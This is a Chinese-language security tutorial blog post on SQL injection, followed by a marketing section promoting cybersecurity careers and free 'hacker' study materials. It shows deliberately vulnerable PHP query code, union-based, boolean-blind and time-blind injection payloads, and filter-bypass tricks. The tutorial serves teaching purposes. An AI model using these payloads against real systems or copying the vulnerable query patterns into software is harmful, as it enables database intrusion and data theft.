【网络安全】「漏洞原理」二:SQL 注入漏洞之理论讲解

.hljs-comment,.hljs-quote{color:#d4d0ab}.hljs-deletion,.hljs-name,.hljs-regexp,.hljs-selector-class,.hljs-selector-id,.hljs-tag,.hljs-template-variable,.hljs-variable{color:#ffa07a}.hljs-built_in,.hljs-builtin-name,.hljs-link,.hljs-literal,.hljs-meta,.hljs-number,.hljs-params,.hljs-type{color:#f5ab35}.hljs-attribute{color:gold}.hljs-addition,.hljs-bullet,.hljs-string,.hljs-symbol{color:#abe338}.hljs-section,.hljs-title{color:#00e0e0}.hljs-keyword,.hljs-selector-tag{color:#dcc6e0}.markdown-body pre,.markdown-body pre>code.hljs{background:#2b2b2b;color:#f8f8f2}.hljs-emphasis{font-style:italic}.hljs-strong{font-weight:700}@media screen and (-ms-high-contrast:active){.hljs-addition,.hljs-attribute,.hljs-built_in,.hljs-builtin-name,.hljs-bullet,.hljs-comment,.hljs-link,.hljs-literal,.hljs-meta,.hljs-number,.hljs-params,.hljs-quote,.hljs-string,.hljs-symbol,.hljs-type{color:highlight}.hljs-keyword,.hljs-selector-tag{font-weight:700}}

前言

本篇博文是《从0到1学习安全测试》中漏洞原理系列的第篇博文,主要内容是介绍在 SQL 注入过程中如何进行信息搜集,以及实操基础的入门注入和一些常用绕过注入,往期系列文章请访问博主的 安全测试 专栏;

严正声明:本博文所讨论的技术仅用于研究学习,旨在增强读者的信息安全意识,提高信息安全防护技能,严禁用于非法活动。任何个人、团体、组织不得用于非法目的,违法犯罪必将受到法律的严厉制裁。

信息搜集

信息搜集在 SQL 注入攻击中扮演着重要的角色,它为攻击者提供了关键的目标数据库和应用程序信息,帮助攻击者更好地进行后续的攻击操作。

信息搜集主要包括以下几个方面:

  1. 识别和了解目标数据库:获取目标数据库的类型、版本、表结构、列名以及其他关键信息。
  2. 获取敏感信息:获取目标数据库中的敏感信息,如用户名、密码、用户权限、财务信息等。
  3. 发现漏洞和弱点:发现目标应用程序的漏洞和弱点,如不安全的输入验证、不当的错误处理机制等。
  4. 判断注入点和注入类型:确定目标应用程序存在的注入点,即用户输入数据直接或间接进入 SQL 语句的位置。同时,了解到目标应用程序的数据库交互方式(如直接构造 SQL 语句、使用存储过程等),从而选择最适合的注入类型和方法。

使用以下一些指令获取相关信息:

  1. select version():获取数据库版本;

    image.png

  2. select user():获取数据库用户名;

    image.png

  3. select database():获取数据库名;

    image.png

  4. select @@datadir:获取数据库路径;

    image.png

  5. select @@version_compile_os:获取操作系统版本;

    image.png

注入入门

基础注入

假设一个网站的部分源码如下所示:

$sql = "SELECT * FROM users where name='";
$sql .= $_GET["name"]."'";
$result = mysql_query($sql);
if ($result) {
  while ($row = mysql_fetch_assoc($result))
    echo "<tr>";
  echo "<td>".$row['id']."</td>";
  echo "<td>".$row['name']."</td>";
  echo "<td>".$row['age']."</td>";
  echo "</tr>";
}
echo "</table>";

那么我们根据其 SQL 语句 SELECT * FROM users where name=' 进行正常查询时,可以发现不管有没有这个用户名 name,最终都会显示出结果,运行结果如下:

image.png

那么我们据此构造一些恶意语句,比如说使用 union 进行联合查询,使用 union 需要保证前后查询的字段数量保持一致,否则会报错,运行结果如下所示:

image.png

那么根据上述原理,我们可以匹配出网页源码中 SQL 语句里的 * 代表着 5 个字段,运行结果如下所示:

image.png

我们可以构造 SQL 收集一些信息,比如 admin union select version(),user(),database(),4,5--+,运行结果如下:

image.png

SQL 盲注

SQL 盲注是指在进行网络安全测试或攻击时,攻击者通过检测系统的响应来确定系统中存在的漏洞或薄弱点的一种方法。攻击者通常会发送特定的请求到目标系统,并观察系统的响应,如果响应的结果与预期不符,那么可能存在漏洞。通过不断尝试不同的请求和观察响应,攻击者可以逐步获得关于目标系统的信息,并利用这些信息进行进一步的攻击。

假设一个网站的部分源码如下所示:

$sql = "SELECT * FROM users ORDER BY `";                         
$sql = mysql_real_escape_string($_GET["order"])."`";            
$result = mysql_query($sql);         

接下来我们将采用布尔盲注和时间盲注的方式进行攻击。

布尔盲注

布尔盲注是指在进行 SQL 注入时,根据返回的结果是 True 或者是 False 来得到数据库中的相关信息。

由于网站源码是对 order by 进行了拼接,因此我们不能再使用 union 等方法进行注入,而且这里并没有报错输出,因此采用布尔盲注的方式,为了方便调试,接下来将以 BP 抓包的形式展现。

首先是正常的进行请求,运行结果如下:

image.png

接下来使用布尔盲注,因为上个例子已经知道数据库名是 exercises,因此这里就不做过多猜测,注入语句如下:

order=name` RLIKE (SELECT (CASE WHEN (ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),1,1))>100) THEN 0x6e616d65 ELSE 0x28 END))

解释一下上述的 SQL 语句,这句 SQL 的目的是通过判断数据库名的第一个字符的 ASCII 码值是否大于100(e 是101),来实现一个条件查询的排序。如果第一个字符的 ASCII 码值大于100,则按照字段名 name (0x6e616d65)升序排序,否则按照括号字符 ( (0x28)的 ASCII 码值来排序。

同时,这句 SQL 中使用了一些函数和技巧:

  • MID() 函数用于提取字符串的部分字符。
  • IFNULL() 函数用于判断数据库名是否为空,如果为空,则返回一个空格字符 “0x20”。
  • CAST() 函数用于将数据库名转换为 NCHAR 类型。
  • ORD() 函数用于获取一个字符的 ASCII 码值。
  • CASE WHEN 语句用于判断 ASCII 码值是否大于100。

运行结果:

image.png

推断数据库名的第二个字符的 SQL 语句如下:

order=name` RLIKE (SELECT (CASE WHEN (ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),2,1))>119) THEN 0x6e616d65 ELSE 0x28 END))

接下来以此类推就可以了。

时间盲注

除了布尔盲注之外,还存在其他的盲注方式,比如时间盲注。

时间盲注是指攻击者向目标应用程序发送恶意的请求时,如果存在时间盲注漏洞,应用程序可能会有不同的响应时间。

正常查询时,所需时间如下:

image.png

构造时间盲注的 SQL 语句:

order=age` and if(ascii(substr(database(),1,1))=101,sleep(1),1)--+

运行结果:

image.png

绕过方式

为了避免 SQL 注入攻击,应用程序会对输入数据进行适当的验证和过滤,而 hacker 会绞尽脑汁地想办法去进行绕过,以下是一些常见的绕过方式。

空格被过滤

1、使用 /*xxx*/ 行内注释或者 () 进行绕过:

SELECT/*1*/username,password/*1*/FROM/*1*/users;

SELECT(username),(password)FROM(users);

image.png

2、使用 %09 %0a %0b %0c %0d %a0 等不可见字符进行绕过:

  • %09:TAB 键(水平);
  • %0a:新建一行;
  • %0b:TAB 键(垂直);
  • %0c:新的一页;
  • %0d:return 功能;
  • %a0:空格;

假设一个网站的部分源码如下所示:

if (preg_match('/ /', $_GET["name"])) {
    die("ERROR NO SPACE");
}
$sql = "SELECT * FROM users where name='";
$sql .= $_GET["name"]."'";
$result = mysql_query($sql);

如果是正常注入的话,会发现空格被过滤了,导致注入失败:

image.png

因此,我们需要使用不可见字符替换空格,下面将使用 %a0 进行替换:

image.png

引号被过滤

使用十六进制代替字符串,比如将 sidiot 的十六进制表示为 0x736964696f74:

SELECT username, password FROM users WHERE username=0x736964696f74

image.png

逗号被过滤

1、使用 from for 代替逗号:

# 替换前
select substr(database(),1,1);

# 替换后
select substr(database() from 1 for 1);

image.png

2、使用 join 代替逗号:

# 替换前
select 1,2;

# 替换后
select * from (select 1)a join (select 2)b;

image.png

3、使用 offset 代替逗号:

# 替换前
select * from users limit 0,1;

# 替换后
select * from users limit 1 offset 0;

image.png

比较符号被过滤

1、用 like, rlike, regexp 代替 =

select * from users where username like 'sidiot';

select * from users where username rlike 'sidiot';

select * from users where username regexp 'sidiot';

image.png

2、用 greatest()、least() 代替 <>

# 替换前
select * from users where id=1 and ascii(substr(database(),0,1))<64;

# 替换后
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64;

select * from users where id=1 and least(ascii(substr(database(),1,1)),64)=64;

image.png

or/and/xor/not 被过滤

  1. and = &&
  2. or = ||
  3. xor = |
  4. not = !

常用函数被过滤

  1. hex()、bin() = ascii()
  2. sleep() = benchmark()
  3. concat_ws() = group_concat()
  4. mid()、substr() = substring()
  5. @@user = user()
  6. @@datadir = datadir()

后记

通过本文的讲解,我们对 SQL 注入漏洞有了更深入的理解。了解了信息搜集在 SQL 注入过程中的重要性,并学习了一些基础的入门注入技巧和常用的绕过注入方法。因此,我们要意识到 SQL 注入对系统安全造成的严重威胁,在设计和开发阶段就采取必要的安全措施,例如使用参数化查询和限制权限访问等,建立更安全的应用程序,并保护数据的安全性。

以上就是 SQL 注入漏洞之理论讲解 的所有内容了,希望本篇博文对大家有所帮助!

严正声明:本博文所讨论的技术仅用于研究学习,旨在增强读者的信息安全意识,提高信息安全防护技能,严禁用于非法活动。任何个人、团体、组织不得用于非法目的,违法犯罪必将受到法律的严厉制裁。

初入计算机行业的人或者大学计算机相关专业毕业生,很多因缺少实战经验,就业处处碰壁。下面我们来看两组数据:

2023届全国高校毕业生预计达到1158万人,就业形势严峻;

国家网络安全宣传周公布的数据显示,到2027年我国网络安全人员缺口将达327万。

一方面是每年应届毕业生就业形势严峻,一方面是网络安全人才百万缺口。

6月9日,麦可思研究2023年版就业蓝皮书(包括《2023年中国本科生就业报告》《2023年中国高职生就业报告》)正式发布。

2022届大学毕业生月收入较高的前10个专业

本科计算机类、高职自动化类专业月收入较高。2022届本科计算机类、高职自动化类专业月收入分别为6863元、5339元。其中,本科计算机类专业起薪与2021届基本持平,高职自动化类月收入增长明显,2022届反超铁道运输类专业(5295元)排在第一位。

具体看专业,2022届本科月收入较高的专业是信息安全(7579元)。对比2018届,电子科学与技术、自动化等与人工智能相关的本科专业表现不俗,较五年前起薪涨幅均达到了19%。数据科学与大数据技术虽是近年新增专业但表现亮眼,已跻身2022届本科毕业生毕业半年后月收入较高专业前三。五年前唯一进入本科高薪榜前10的人文社科类专业——法语已退出前10之列。
请添加图片描述

“没有网络安全就没有国家安全”。当前,网络安全已被提升到国家战略的高度,成为影响国家安全、社会稳定至关重要的因素之一。

网络安全行业特点

1、就业薪资非常高,涨薪快 2022年猎聘网发布网络安全行业就业薪资行业最高人均33.77万!

img

2、人才缺口大,就业机会多

2019年9月18日《中华人民共和国中央人民政府》官方网站发表:我国网络空间安全人才 需求140万人,而全国各大学校每年培养的人员不到1.5W人。猎聘网《2021年上半年网络安全报告》预测2027年网安人才需求300W,现在从事网络安全行业的从业人员只有10W人。
img

3、行业发展空间大,岗位非常多

网络安全行业产业以来,随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…

4、职业增值潜力大

网络安全专业具有很强的技术特性,尤其是掌握工作中的核心网络架构、安全技术,在职业发展上具有不可替代的竞争优势。

随着个人能力的不断提升,所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟,升值空间一路看涨,这也是为什么受大家欢迎的主要原因。

从某种程度来讲,在网络安全领域,跟医生职业一样,越老越吃香,因为技术愈加成熟,自然工作会受到重视,升职加薪则是水到渠成之事。

黑客&网络安全如何学习

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

1.学习路线图

攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有

2.视频教程

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。

内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。

3.技术文档和电子书

技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。

还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。

参考解析:深信服官网、奇安信官网、Freebuf、csdn等

内容特点:条理清晰,含图像化表示更加易懂。

内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

营销截图

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值